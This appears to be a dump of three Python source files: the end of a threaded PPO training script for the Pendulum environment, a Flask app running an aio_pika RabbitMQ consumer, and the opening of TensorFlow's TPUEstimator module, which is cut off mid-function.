(tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES)): # print(_) if not os.path.exists('save/'): os.makedirs('save/') def save(self,step): # timestamp = time.strftime('%Y-%m-%d-%H:%M:%S', time.localtime()) # self.saver.save(self.sess, sys.path[0]+'/save/ppo-{}'.format(timestamp), global_step=step, write_meta_graph=False, write_state=False) self.saver.save(self.sess, sys.path[0] + '/save/ppo-{}'.format(step), write_meta_graph=False, write_state=False) print('Trainable Variables Saved.') def restore(self,step): self.saver.restore(self.sess, sys.path[0]+'/save/ppo-{}'.format(step)) print("Trainable Variables Loaded.") def update(self): global GLOBAL_UPDATE_COUNTER, N_WORKER_READY while not COORD.should_stop(): if GLOBAL_EP < EP_MAX: #t0 = time.time() UPDATE_EVENT.wait() # wait until get batch of data #t1 = time.time() # print(QUEUE.qsize()) data = [QUEUE.get() for _ in range(QUEUE.qsize())] # collect data from all workers data = np.vstack(data) s, a, r = data[:, :S_DIM], data[:, S_DIM: S_DIM + A_DIM], data[:, -1:] # print("data.shape:",s.shape,a.shape,r.shape) adv = self.sess.run(self.advantage, {self.tfs: s, self.tfdc_r: r}) # update actor and critic in a update loop #oldpi_pro = self.sess.run(self.oldpi.prob(self.tfa),{self.tfs:s, self.tfa:a}) # print(oldpi_pro) [self.sess.run(self.a_train_op, {self.tfs: s, self.tfa: a, self.tfadv: adv}) for _ in range(UPDATE_STEP)] [self.sess.run(self.c_train_op, {self.tfs: s, self.tfdc_r: r}) for _ in range(UPDATE_STEP)] self.sess.run(self.update_oldpi_op) # copy pi to old pi UPDATE_EVENT.clear() # updating finished GLOBAL_UPDATE_COUNTER = 0 # reset counter ROLLING_EVENT.set() # set roll-out available # print("++++++++++++++updated++++++++++++") N_WORKER_READY = 0 #print(time.time()-t1,"-----",t1-t0) if GLOBAL_EP%100 == 0: self.save(GLOBAL_EP) def _build_a_net(self, name, trainable): with tf.variable_scope(name): l1 = tf.layers.dense(self.tfs, 200, tf.nn.relu, trainable=trainable) mu = ACTION_LIMIT * tf.layers.dense(l1, A_DIM, tf.nn.tanh, trainable=trainable) sigma = tf.layers.dense(l1, A_DIM, tf.nn.softplus, trainable=trainable) norm_dist = tf.distributions.Normal(loc=mu, scale=sigma) params = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope=name) return norm_dist, params def choose_action(self, s): s = s[np.newaxis, :] a = self.sess.run(self.sample_op, {self.tfs: s})[0] return np.clip(a, -ACTION_LIMIT, ACTION_LIMIT) def get_v(self, s): if s.ndim < 2: s = s[np.newaxis, :] return self.sess.run(self.v, {self.tfs: s})[0, 0] class Worker(object): def __init__(self, wid): self.wid = wid self.env = gym.make(GAME).unwrapped self.ppo = GLOBAL_PPO def work(self): global GLOBAL_EP, GLOBAL_RUNNING_R, GLOBAL_UPDATE_COUNTER, N_WORKER_READY while not COORD.should_stop(): s = self.env.reset() ep_r = 0 buffer_s, buffer_a, buffer_r = [], [], [] for t in range(EP_LEN): if not ROLLING_EVENT.is_set(): # while global PPO is updating ROLLING_EVENT.wait() # wait until PPO is updated buffer_s, buffer_a, buffer_r = [], [], [] # clear history buffer, use new policy to collect data a = self.ppo.choose_action(s) s_, r, done, _ = self.env.step(a) buffer_s.append(s) buffer_a.append(a) #buffer_r.append(r) buffer_r.append((r + 8) / 3) # normalize reward, find to be useful s = s_ ep_r += r GLOBAL_UPDATE_COUNTER += 1 # count to minimum batch size, no need to wait other workers if t == EP_LEN - 1 or GLOBAL_UPDATE_COUNTER >= MIN_BATCH_SIZE: v_s_ = self.ppo.get_v(s_) discounted_r = [] # compute discounted reward for r in buffer_r[::-1]: v_s_ = r + GAMMA * v_s_ discounted_r.append(v_s_) discounted_r.reverse() bs, ba, br = np.vstack(buffer_s), np.vstack(buffer_a), np.array(discounted_r)[:, np.newaxis] buffer_s, buffer_a, buffer_r = [], [], [] QUEUE.put(np.hstack((bs, ba, br))) # put data in the queue # print("===============QUEUE.put--- worker:", self.wid, "-------T:", br.shape) if GLOBAL_UPDATE_COUNTER >= MIN_BATCH_SIZE: ROLLING_EVENT.clear() # stop collecting data N_WORKER_READY += 1 UPDATE_EVENT.set() # if N_WORKER_READY >= N_WORKER: # UPDATE_EVENT.set() # globalPPO update # print("===============UPDATE_EVENT.set()--- worker:", self.wid ) if GLOBAL_EP >= EP_MAX: # stop training COORD.request_stop() break # record reward changes, plot later if len(GLOBAL_RUNNING_R) == 0: GLOBAL_RUNNING_R.append(ep_r) else: GLOBAL_RUNNING_R.append(GLOBAL_RUNNING_R[-1] * 0.9 + ep_r * 0.1) #GLOBAL_RUNNING_R.append(ep_r ) GLOBAL_EP += 1 print('{0:.1f}%'.format(GLOBAL_EP / EP_MAX * 100), '|W%i' % self.wid, '|Ep_r: %.2f' % ep_r, ) def main(args): global GLOBAL_PPO, UPDATE_EVENT, ROLLING_EVENT, GLOBAL_UPDATE_COUNTER, GLOBAL_EP, GLOBAL_RUNNING_R, COORD, QUEUE GLOBAL_PPO = PPO() if not args.Test: # Training UPDATE_EVENT, ROLLING_EVENT = threading.Event(), threading.Event() UPDATE_EVENT.clear() # not update now ROLLING_EVENT.set() # start to roll out workers = [Worker(wid=i) for i in range(N_WORKER)] GLOBAL_UPDATE_COUNTER, GLOBAL_EP = 0, 0 GLOBAL_RUNNING_R = [] COORD = tf.train.Coordinator() QUEUE = queue.Queue() # workers putting data in this queue threads = [] for worker in workers: # worker threads t = threading.Thread(target=worker.work, args=()) t.start() # training threads.append(t) # add a PPO updating thread threads.append(threading.Thread(target=GLOBAL_PPO.update, )) threads[-1].start() COORD.join(threads) # plot reward change and test plt.plot(np.arange(len(GLOBAL_RUNNING_R)), GLOBAL_RUNNING_R) plt.xlabel('Episode') plt.ylabel('Moving reward') #plt.ion() plt.show() # env = gym.make('Pendulum-v0') # while True: # s = env.reset() # s0 = env.env.state # s00 = s # totalreward = 0 # for t in range(200): # #env.render() # s, r_test, _, _ = env.step(GLOBAL_PPO.choose_action(s)) # totalreward += r_test # print("reward: ",totalreward) # # if totalreward <= -550: # print("Bad Result Alert") # env.reset() # env.env.state = s0 # print(env.env.state) # totalreward1 = 0 # for t in range(200): # env.render() # s00,r_test1,_,_ = env.step(GLOBAL_PPO.choose_action(s00)) # totalreward1 += r_test1 # print("reward: ", totalreward1) # print("===============================================") else: #Testing GLOBAL_PPO.restore(900) factor1 = 2*np.pi/1000 vtest = GLOBAL_PPO.sess.run(GLOBAL_PPO.v, {GLOBAL_PPO.tfs: [[np.cos(th*factor1),np.sin(th*factor1),0] for th in range(1000)]}) #print(vtest) plt.plot(np.arange(len(vtest))*factor1, vtest) plt.xlabel('theta') plt.ylabel('value') #plt.ion() plt.show() env = gym.make('Pendulum-v0') env.reset() state = [np.pi,0] s = np.array([np.cos(state[0]),np.sin(state[0]),state[1]]) env.env.state = state totalreward = 0 for t in range(200): env.render() s, r_test, _, _ = env.step(GLOBAL_PPO.choose_action(s)) #totalreward += ((r_test+8)/8)*0.9**t totalreward += r_test print("reward: ",totalreward) if __name__ == '__main__': import argparse parser = argparse.ArgumentParser() parser.add_argument('--Test', type=bool, default=False) args = parser.parse_args() main(args)
gunicorn_aio_app.py
# -*- coding: utf-8 -*- import logging import aio_pika import asyncio from flask import Flask import threading LOG_FORMAT = ('%(levelname) -10s %(asctime)s %(name) -30s %(funcName) ' '-35s %(lineno) -5d: %(message)s') LOGGER = logging.getLogger(__name__) async def process_message(message: aio_pika.IncomingMessage): with message.process(): print(message.body) print('gonna take a nap here...') await asyncio.sleep(1) print('done.') async def pika(loop): connection = await aio_pika.connect_robust( "amqp://guest:guest@127.0.0.1/", loop=loop ) queue_name = "test_queue" # Creating channel channel = await connection.channel() # Maximum message count which will be # processing at the same time. await channel.set_qos(prefetch_count=100) # Declaring queue queue = await channel.declare_queue( queue_name, auto_delete=True ) await queue.consume(process_message) def run_pika(): asyncio.set_event_loop(asyncio.new_event_loop()) loop = asyncio.get_event_loop() loop.run_until_complete(pika(loop)) loop.run_forever() def create_app(config=None): logging.basicConfig(level=logging.INFO, format=LOG_FORMAT) # init app and config app = Flask(__name__) # configure flask to route urls with or without trailing slashes app.url_map.strict_slashes = False thread = threading.Thread(target=run_pika) thread.setDaemon(True) thread.start() # TODO: Stop consumer on exit gracefully (stop pika thread gracefully) return app app = create_app()
tpu_estimator.py
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # =================================================================== """TPUEstimator class.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections import copy import os import signal import sys import threading import time import numpy as np import six from six.moves import queue as Queue # pylint: disable=redefined-builtin from six.moves import xrange # pylint: disable=redefined-builtin import math try: import google3 from google3.third_party.tensorflow.contrib.tpu.python.ops import tpu_ops from google3.third_party.tensorflow.contrib.tpu.python.tpu import error_handling from google3.third_party.tensorflow.contrib.tpu.python.tpu import session_support from google3.third_party.tensorflow.contrib.tpu.python.tpu import tpu from google3.third_party.tensorflow.contrib.tpu.python.tpu import tpu_config from google3.third_party.tensorflow.contrib.tpu.python.tpu import tpu_context from google3.third_party.tensorflow.contrib.tpu.python.tpu import tpu_feed from google3.third_party.tensorflow.contrib.tpu.python.tpu import training_loop from google3.third_party.tensorflow.contrib.tpu.python.tpu import util as util_lib from google3.third_party.tensorflow.contrib.training.python.training import hparam from google3.third_party.tensorflow.core.framework import variable_pb2 from google3.third_party.tensorflow.core.framework.summary_pb2 import Summary from google3.third_party.tensorflow.core.protobuf import config_pb2 from google3.third_party.tensorflow.python.data.ops import dataset_ops from google3.third_party.tensorflow.python.data.util import nest as data_nest from google3.third_party.tensorflow.python.estimator import estimator as estimator_lib from google3.third_party.tensorflow.python.estimator import model_fn as model_fn_lib from google3.third_party.tensorflow.python.estimator.export import export_output as export_output_lib from google3.third_party.tensorflow.python.framework import constant_op from google3.third_party.tensorflow.python.framework import dtypes from google3.third_party.tensorflow.python.framework import errors from google3.third_party.tensorflow.python.framework import ops from google3.third_party.tensorflow.python.ops import array_ops from google3.third_party.tensorflow.python.ops import check_ops from google3.third_party.tensorflow.python.ops import control_flow_ops from google3.third_party.tensorflow.python.ops import init_ops from google3.third_party.tensorflow.python.ops import math_ops from google3.third_party.tensorflow.python.ops import resource_variable_ops from google3.third_party.tensorflow.python.ops import state_ops from google3.third_party.tensorflow.python.ops import summary_ops_v2 as contrib_summary from google3.third_party.tensorflow.python.ops import variable_scope from google3.third_party.tensorflow.python.ops import variables from google3.third_party.tensorflow.python.platform import tf_logging as logging from google3.third_party.tensorflow.python.saved_model import tag_constants from google3.third_party.tensorflow.python.summary import summary from google3.third_party.tensorflow.python.training import basic_session_run_hooks from google3.third_party.tensorflow.python.training import evaluation from google3.third_party.tensorflow.python.training import session_run_hook from google3.third_party.tensorflow.python.training import training from google3.third_party.tensorflow.python.training import training_util from google3.third_party.tensorflow.python.util import function_utils from google3.third_party.tensorflow.python.util import nest from google3.third_party.tensorflow.python.util import tf_inspect except: import tensorflow from tensorflow.contrib.tpu.python.ops import tpu_ops from tensorflow.contrib.tpu.python.tpu import error_handling from tensorflow.contrib.tpu.python.tpu import session_support from tensorflow.contrib.tpu.python.tpu import tpu from tensorflow.contrib.tpu.python.tpu import tpu_config from tensorflow.contrib.tpu.python.tpu import tpu_context from tensorflow.contrib.tpu.python.tpu import tpu_feed from tensorflow.contrib.tpu.python.tpu import training_loop from tensorflow.contrib.tpu.python.tpu import util as util_lib from tensorflow.contrib.training.python.training import hparam from tensorflow.core.framework import variable_pb2 from tensorflow.core.framework.summary_pb2 import Summary from tensorflow.core.protobuf import config_pb2 from tensorflow.python.data.ops import dataset_ops from tensorflow.python.data.util import nest as data_nest from tensorflow.python.estimator import estimator as estimator_lib from tensorflow.python.estimator import model_fn as model_fn_lib from tensorflow.python.estimator import util as estimator_util from tensorflow.python.estimator.export import export_output as export_output_lib from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import errors from tensorflow.python.framework import ops from tensorflow.python.ops import array_ops from tensorflow.python.ops import check_ops from tensorflow.python.ops import control_flow_ops from tensorflow.python.ops import init_ops from tensorflow.python.ops import math_ops from tensorflow.python.ops import resource_variable_ops from tensorflow.python.ops import state_ops from tensorflow.python.ops import summary_ops_v2 as contrib_summary from tensorflow.python.ops import variable_scope from tensorflow.python.ops import variables from tensorflow.python.platform import tf_logging as logging from tensorflow.python.saved_model import tag_constants from tensorflow.python.summary import summary from tensorflow.python.training import basic_session_run_hooks from tensorflow.python.training import evaluation from tensorflow.python.training import session_run_hook from tensorflow.python.training import training from tensorflow.python.training import training_util from tensorflow.python.util import function_utils from tensorflow.python.util import nest from tensorflow.python.util import tf_inspect _INITIAL_LOSS = 1e7 _ZERO_LOSS = 0. _TPU_ESTIMATOR = 'custom_tpu_estimator' # CHANGE FOR RECURRENCY _ITERATIONS_PER_LOOP_VAR = 'iterations_per_loop' _BATCH_SIZE_KEY = 'batch_size' _CTX_KEY = 'context' _USE_TPU_KEY = 'use_tpu' _CROSS_REPLICA_SUM_OP = 'CrossReplicaSum' _ONE_GIGABYTE = 1024 * 1024 * 1024 _TPU_ENQUEUE_OPS = '_tpu_enqueue_ops' _TPU_TRAIN_OP = '_tpu_train_op' _REWRITE_FOR_INFERENCE_MODE = '_rewrite_for_inference' # Ideally _USE_TPU_KEY should be reserved as well. However there are already # models that make use of this key, thus it can not be reserved now to prevent # breakage. In the long run, we would like to mitigate this by migrating models # off of using _USE_TPU_KEY. _RESERVED_PARAMS_KEYS = [_BATCH_SIZE_KEY, _CTX_KEY] # TODO(b/65703635): Flip the value and remove all dead code. Currently, this is # only used for per-core based deployments. For per-host based pipelines, if a # user returns a Dataset instance it will be automatically wrapped in a # tf.while_loop (This can be disabled by returning features and labels # explicitly). _WRAP_INPUT_FN_INTO_WHILE_LOOP = False ops.register_proto_function( '{}_{}'.format(_TPU_ESTIMATOR, _ITERATIONS_PER_LOOP_VAR), proto_type=variable_pb2.VariableDef, to_proto=resource_variable_ops._to_proto_fn, # pylint: disable=protected-access from_proto=resource_variable_ops._from_proto_fn) # pylint: disable=protected-access def _create_global_step(graph): graph = graph or ops.get_default_graph() if training.get_global_step(graph) is not None: raise ValueError('"global_step" already exists.') # Create in proper graph and base name_scope. with graph.as_default() as g, g.name_scope(None): return variable_scope.get_variable( ops.GraphKeys.GLOBAL_STEP, shape=[], dtype=dtypes.int64, initializer=init_ops.zeros_initializer(), trainable=False, use_resource=True, collections=[ops.GraphKeys.GLOBAL_VARIABLES, ops.GraphKeys.GLOBAL_STEP]) def _create_or_get_iterations_per_loop(): """Creates or gets the iterations_per_loop variable. In TPUEstimator, the user provided computation, the model_fn, is wrapped inside a tf.while_loop for peak performance. The iterations of the loop are specified by this variable, which adjusts its value on the CPU after each TPU program execution and before the next TPU execution. The purpose of using a variable, rather then a constant, is to allow TPUEstimator adapt the TPU training iterations according to the final steps specified by users. For example, if the user sets the iterations_per_loop as 4 in TPUConfig and steps as 10 in TPUEstimator.train(), the iterations_per_loop variable will have the following value before each TPU training. - 1-th TPU execution: iterations_per_loop = 4 - 2-th TPU execution: iterations_per_loop = 4 - 3-th TPU execution: iterations_per_loop = 2 As model_fn increases the global step once per train_op invocation, the global step is 10 after all TPU executions, matching the steps=10 inputs passed in by users. Returns: A TF non-trainable resource variable. Raises: RuntimeError: If multi iterations_per_loop variables were found. """ graph = ops.get_default_graph() collection_name = '{}_{}'.format(_TPU_ESTIMATOR, _ITERATIONS_PER_LOOP_VAR) iter_vars = graph.get_collection(collection_name) if len(iter_vars) == 1: return iter_vars[0] elif len(iter_vars) > 1: raise RuntimeError('Multiple iterations_per_loop_var in collection.') with ops.colocate_with(training_util.get_global_step()): with variable_scope.variable_scope( _TPU_ESTIMATOR, reuse=variable_scope.AUTO_REUSE): return variable_scope.get_variable( _ITERATIONS_PER_LOOP_VAR, initializer=init_ops.zeros_initializer(), shape=[], dtype=dtypes.int32, trainable=False, collections=[collection_name, ops.GraphKeys.LOCAL_VARIABLES], use_resource=True) def _sync_variables_ops(): # Gets the variables back from TPU nodes. This means the variables updated # by TPU will now be *synced* to host memory. return [ array_ops.check_numerics(v.read_value(), 'Gradient for %s is NaN' % v.name).op for v in variables.trainable_variables() ] def _increase_eval_step_op(iterations_per_loop): """Returns an op to increase the eval step for TPU evaluation. Args: iterations_per_loop: Tensor. The number of eval steps running in TPU system before returning to CPU host for each `Session.run`. Returns: An operation """ eval_step = evaluation._get_or_create_eval_step() # pylint: disable=protected-access # Estimator evaluate increases 1 by default. So, we increase the difference. return state_ops.assign_add( eval_step, math_ops.cast(iterations_per_loop - 1, dtype=eval_step.dtype), use_locking=True) def _extract_key_names(tensor_or_dict): if isinstance(tensor_or_dict, dict): return sorted(tensor_or_dict.keys()) return [] class _SIGNAL(object): """Signal used to control the thread of infeed/outfeed. All preserved signals must be negative numbers. Positive numbers are used to indicate the number of iterations for next training/evaluation loop. """ NEXT_BATCH = -1 STOP = -2 class TPUEstimatorSpec(model_fn_lib._TPUEstimatorSpec): # pylint: disable=protected-access """Ops and objects returned from a `model_fn` and passed to `TPUEstimator`. See `EstimatorSpec` for `mode`, `predictions`, `loss`, `train_op`, and `export_outputs`. For evaluation, `eval_metrics `is a tuple of `metric_fn` and `tensors`, where `metric_fn` runs on CPU to generate metrics and `tensors` represents the `Tensor`s transferred from TPU system to CPU host and passed to `metric_fn`. To be precise, TPU evaluation expects a slightly different signature from the @{tf.estimator.Estimator}. While `EstimatorSpec.eval_metric_ops` expects a dict, `TPUEstimatorSpec.eval_metrics` is a tuple of `metric_fn` and `tensors`. The `tensors` could be a list of `Tensor`s or dict of names to `Tensor`s. The `tensors` usually specify the model logits, which are transferred back from TPU system to CPU host. All tensors must have be batch-major, i.e., the batch size is the first dimension. Once all tensors are available at CPU host from all shards, they are concatenated (on CPU) and passed as positional arguments to the `metric_fn` if `tensors` is list or keyword arguments if `tensors` is a dict. `metric_fn` takes the `tensors` and returns a dict from metric string name to the result of calling a metric function, namely a `(metric_tensor, update_op)` tuple. See `TPUEstimator` for MNIST example how to specify the `eval_metrics`. `scaffold_fn` is a function running on CPU to generate the `Scaffold`. This function should not capture any Tensors in `model_fn`. `host_call` is a tuple of a `function` and a list or dictionary of `tensors` to pass to that function and returns a list of Tensors. `host_call` currently works for train() and evaluate(). The Tensors returned by the function is executed on the CPU on every step, so there is communication overhead when sending tensors from TPU to CPU. To reduce the overhead, try reducing the size of the tensors. The `tensors` are concatenated along their major (batch) dimension, and so must be >= rank 1. The `host_call` is useful for writing summaries with @{tf.contrib.summary.create_file_writer}. """ def __new__(cls, mode, predictions=None, loss=None, train_op=None, eval_metrics=None, export_outputs=None, scaffold_fn=None, host_call=None, training_hooks=None, evaluation_hooks=None, prediction_hooks=None): """Creates a validated `TPUEstimatorSpec` instance.""" host_calls = {} if eval_metrics is not None: host_calls['eval_metrics'] = eval_metrics if host_call is not None: host_calls['host_call'] = host_call _OutfeedHostCall.validate(host_calls) training_hooks = list(training_hooks or []) evaluation_hooks = list(evaluation_hooks or []) prediction_hooks = list(prediction_hooks or []) for hook in training_hooks + evaluation_hooks + prediction_hooks: if not isinstance(hook, session_run_hook.SessionRunHook): raise TypeError( 'All hooks must be SessionRunHook instances, given: {}'.format( hook)) return super(TPUEstimatorSpec, cls).__new__( cls, mode=mode, predictions=predictions, loss=loss, train_op=train_op, eval_metrics=eval_metrics, export_outputs=export_outputs, scaffold_fn=scaffold_fn, host_call=host_call, training_hooks=training_hooks, evaluation_hooks=evaluation_hooks, prediction_hooks=prediction_hooks) def as_estimator_spec(self): """Creates an equivalent `EstimatorSpec` used by CPU train/eval.""" host_calls = {} if self.eval_metrics is not None: host_calls['eval_metrics'] = self.eval_metrics if self.host_call is not None: host_calls['host_call'] = self.host_call host_call_ret = _OutfeedHostCall.create_cpu_hostcall(host_calls) eval_metric_ops = None if self.eval_metrics is not None: eval_metric_ops = host_call_ret['eval_metrics'] hooks = None if self.host_call is not None: hooks = [_OutfeedHostCallHook(host_call_ret['host_call'])] hooks = list(hooks or []) scaffold = self.scaffold_fn() if self.scaffold_fn else None return model_fn_lib.EstimatorSpec( mode=self.mode, predictions=self.predictions, loss=self.loss, train_op=self.train_op, eval_metric_ops=eval_metric_ops, export_outputs=self.export_outputs, scaffold=scaffold, training_hooks=self.training_hooks + hooks, evaluation_hooks=self.evaluation_hooks + hooks, prediction_hooks=self.prediction_hooks + hooks) class _OpQueueContext(object): """Manages work queue and thread for a infeed/outfeed thread.""" def __init__(self, name, target, args): self._name = name self._queue = Queue.Queue() args = (self,) + args self._thread = threading.Thread(name=name, target=target, args=args) self._thread.daemon = True self._thread.start() def stop(self): self._queue.put(_SIGNAL.STOP) def send_next_batch_signal(self, iterations): self._queue.put(iterations) def read_iteration_counts(self): while True: iterations = self._queue.get(block=True) logging.debug('%s read iterations %s', self._name, iterations) if iterations == _SIGNAL.STOP: logging.info('%s received shutdown signal, stopping.', self._name) return yield iterations def join(self): logging.info('Shutting down %s thread.' % self._name) self.stop() self._thread.join() class _OpSignalOnceQueueContext(_OpQueueContext): """Manages work queue and thread for a infeed/outfeed thread. This subclass only signals once. """ def __init__(self, name, target, args): super(_OpSignalOnceQueueContext, self).__init__(name, target, args) self._has_signaled = False def send_next_batch_signal(self, iterations): if not self._has_signaled: self._queue.put(iterations) self._has_signaled = True class TPUInfeedOutfeedSessionHook(session_run_hook.SessionRunHook): """A Session hook setting up the TPU initialization, infeed, and outfeed. This hook does two major things: 1. initialize and shutdown TPU system. 2. launch and join the threads for infeed enqueue and (optional) outfeed dequeue. """ def __init__(self, ctx, enqueue_ops, dequeue_ops, run_infeed_loop_on_coordinator=True, rendezvous=None): self._master_job = ctx.master_job self._enqueue_ops = enqueue_ops self._dequeue_ops = dequeue_ops self._rendezvous = rendezvous self._run_infeed_loop_on_coordinator = run_infeed_loop_on_coordinator self._initial_infeed_sleep_secs = ( ctx.config.tpu_config.initial_infeed_sleep_secs) self._feed_error = None self._finished = False def begin(self): logging.info('TPU job name %s', self._master_job) self._iterations_per_loop_var = _create_or_get_iterations_per_loop() self._init_ops = [tpu.initialize_system(job=self._master_job)] self._finalize_ops = [tpu.shutdown_system(job=self._master_job)] summary_writer_init_ops = contrib_summary.summary_writer_initializer_op() self._init_ops.extend(summary_writer_init_ops) # Get all the writer resources from the initializer, so we know what to # flush. for op in summary_writer_init_ops: self._finalize_ops.append(contrib_summary.flush(writer=op.inputs[0])) def _run_infeed(self, queue_ctx, session): logging.info('Starting infeed thread controller.') if self._initial_infeed_sleep_secs: logging.info('%s thread sleeping for %d seconds.', self._name, self._initial_infeed_sleep_secs) time.sleep(self._initial_infeed_sleep_secs) logging.info('%s thread starting after sleep', self._name) with self._rendezvous.catch_errors(source='infeed', session=session): if self._run_infeed_loop_on_coordinator: for count, steps in enumerate(queue_ctx.read_iteration_counts()): for i in xrange(steps): logging.debug('Infeed enqueue for iteration (%d, %d)', count, i) session.run(self._enqueue_ops) else: for _ in queue_ctx.read_iteration_counts(): session.run(self._enqueue_ops) logging.info('Infeed thread finished, shutting down.') def _run_outfeed(self, queue_ctx, session): logging.info('Starting outfeed thread controller.') with self._rendezvous.catch_errors(source='outfeed', session=session): for count, steps in enumerate(queue_ctx.read_iteration_counts()): for i in xrange(steps): logging.debug('Outfeed dequeue for iteration (%d, %d)', count, i) session.run(self._dequeue_ops) logging.info('Outfeed thread finished, shutting down.') def _create_infeed_controller(self, name, target, args): return _OpQueueContext(name=name, target=target, args=args) def after_create_session(self, session, coord): logging.info('Init TPU system') session.run(self._init_ops, options=config_pb2.RunOptions(timeout_in_ms=5 * 60 * 1000)) self._infeed_controller = self._create_infeed_controller( name='InfeedController', target=self._run_infeed, args=(session,)) self._outfeed_controller = _OpQueueContext( name='OutfeedController', target=self._run_outfeed, args=(session,)) def before_run(self, run_context): self._feed_error = None iterations = run_context.session.run(self._iterations_per_loop_var) logging.info('Enqueue next (%d) batch(es) of data to infeed.', iterations) self._infeed_controller.send_next_batch_signal(iterations) logging.info('Dequeue next (%d) batch(es) of data from outfeed.', iterations) self._outfeed_controller.send_next_batch_signal(iterations) def end(self, session): self._finished = True logging.info('Stop infeed thread controller') self._infeed_controller.join() self._rendezvous.record_done('infeed') logging.info('Stop output thread controller') self._outfeed_controller.join() self._rendezvous.record_done('outfeed') logging.info('Shutdown TPU system.') session.run(self._finalize_ops) class TPUInfeedOutfeedSessionHookForPrediction(TPUInfeedOutfeedSessionHook): def __init__(self, ctx, enqueue_ops, dequeue_ops, rendezvous=None): super(TPUInfeedOutfeedSessionHookForPrediction, self).__init__( ctx, enqueue_ops, dequeue_ops, run_infeed_loop_on_coordinator=False, rendezvous=rendezvous) def _create_infeed_controller(self, name, target, args): return _OpSignalOnceQueueContext(name=name, target=target, args=args) class _TPUStopAtStepHook(session_run_hook.SessionRunHook): """Hook that requests stop at a specified step. This hook is similar to the `session_run_hook._StopAfterNEvalsHook` with following differences for TPU training: 1. This hook sets the variable for iterations_per_loop, which is used by `TPUInfeedOutfeedSessionHook` to control the iterations for infeed/outfeed. As the hook execution order is not guaranteed, the variable update is handled in `after_create_session` and `after_run` as `TPUInfeedOutfeedSessionHook` reads the variable value in `before_run`. 2. For each training loop (session.run), the global step could be increased multiple times on TPU. The global step tensor value will be explicitly read again in `after_run` to ensure the latest value is retrieved to avoid race condition. """ def __init__(self, iterations, num_steps=None, last_step=None): """Initializes a `StopAtStepHook`. Args: iterations: The number of iterations to run optimizer per training loop. num_steps: Number of steps to execute. last_step: Step after which to stop. Raises: ValueError: If one of the arguments is invalid. """ if num_steps is None and last_step is None: raise ValueError('One of num_steps or last_step must be specified.') if num_steps is not None and last_step is not None: raise ValueError('Only one of num_steps or last_step can be specified.') self._num_steps = num_steps self._last_step = last_step self._iterations = iterations def _next_iterations(self, global_step, last_step): gap = last_step - global_step return min(gap, self._iterations) def begin(self): self._global_step_tensor = training_util.get_global_step() if self._global_step_tensor is None: raise RuntimeError('Global step should be created.') self._iterations_per_loop_var = _create_or_get_iterations_per_loop() def after_create_session(self, session, coord): global_step = session.run(self._global_step_tensor) if self._last_step is None: self._last_step = global_step + self._num_steps iterations = self._next_iterations(global_step, self._last_step) self._iterations_per_loop_var.load(iterations, session=session) def after_run(self, run_context, run_values): # Global step cannot be retrieved via SessionRunArgs and before_run due to # race condition. global_step = run_context.session.run(self._global_step_tensor) if global_step >= self._last_step: run_context.request_stop() else: iterations = self._next_iterations(global_step, self._last_step) self._iterations_per_loop_var.load( iterations, session=run_context.session) class _SetEvalIterationsHook(session_run_hook.SessionRunHook): """Hook that requests stop at a specified step.""" def __init__(self, num_steps): """Initializes a `_SetEvalIterationsHook`. Args: num_steps: Number of steps to execute. """ self._num_steps = num_steps def begin(self): self._iterations_per_loop_var = _create_or_get_iterations_per_loop() def after_create_session(self, session, coord): self._iterations_per_loop_var.load(self._num_steps, session=session) class _StoppingPredictHook(session_run_hook.SessionRunHook): """Hook that requests stop according to the stopping signal in prediction.""" def __init__(self, scalar_stopping_signal): self._scalar_stopping_signal = scalar_stopping_signal def begin(self): self._iterations_per_loop_var = _create_or_get_iterations_per_loop() def after_create_session(self, session, coord): # This is not necessary as we do not run infeed enqueue and outfeed dequeue # in side threads for prediction model. But it makes the # TPUInfeedOutfeedSessionHook prints nice message. self._iterations_per_loop_var.load(1, session=session) def before_run(self, run_context): return session_run_hook.SessionRunArgs(self._scalar_stopping_signal) def after_run(self, run_context, run_values): _ = run_context scalar_stopping_signal = run_values.results if _StopSignals.should_stop(scalar_stopping_signal): # NOTE(xiejw): In prediction, stopping signals are inserted for each # batch. And we append one more batch to signal the system it should stop. # The data flow might look like # # batch 0: images, labels, stop = 0 (user provided) # batch 1: images, labels, stop = 0 (user provided) # ... # batch 99: images, labels, stop = 0 (user provided) # batch 100: images, labels, stop = 1 (TPUEstimator appended) # # where the final batch (id = 100) is appended by TPUEstimator, so we # should drop it before returning the predictions to user. # To achieve that, we throw the OutOfRangeError in after_run. Once # Monitored Session sees this error in SessionRunHook.after_run, the # "current" prediction, i.e., batch with id=100, will be discarded # immediately raise errors.OutOfRangeError(None, None, 'Stopped by stopping signal.') def generate_per_core_enqueue_ops_fn_for_host( ctx, input_fn, inputs_structure_recorder, host_device, host_id): """Generates infeed enqueue ops for per-core input_fn on a single host.""" captured_infeed_queue = _CapturedObject() tpu_ordinal_function_impl = ctx.tpu_ordinal_function(host_id) def enqueue_ops_fn(): """A fn returns enqueue_ops.""" num_cores_per_host = ctx.num_of_cores_per_host per_host_sharded_inputs = [] for core_ordinal in range(num_cores_per_host): with ops.name_scope('ordinal_%d' % (core_ordinal)): user_context = tpu_context.TPUContext( internal_ctx=ctx, input_device=host_device, invocation_index=host_id * ctx.num_of_cores_per_host + core_ordinal ) inputs = _Inputs.from_input_fn(input_fn(user_context)) if inputs.is_dataset: raise TypeError( '`input_fn` returning `Dataset` is not yet supported in ' 'per-Core input pipeline deployment yet. Please set ' 'TPUConfig.per_host_input_for_training to True or return ' '`features` and `labels` from `input_fn`') features, labels = inputs.features_and_labels() inputs_structure_recorder.validate_and_record_structure( features, labels) flattened_inputs = ( inputs_structure_recorder.flatten_features_and_labels( features, labels)) per_host_sharded_inputs.append(flattened_inputs) infeed_queue = tpu_feed.InfeedQueue( number_of_tuple_elements=len(per_host_sharded_inputs[0])) captured_infeed_queue.capture(infeed_queue) per_host_enqueue_ops = infeed_queue.generate_enqueue_ops( 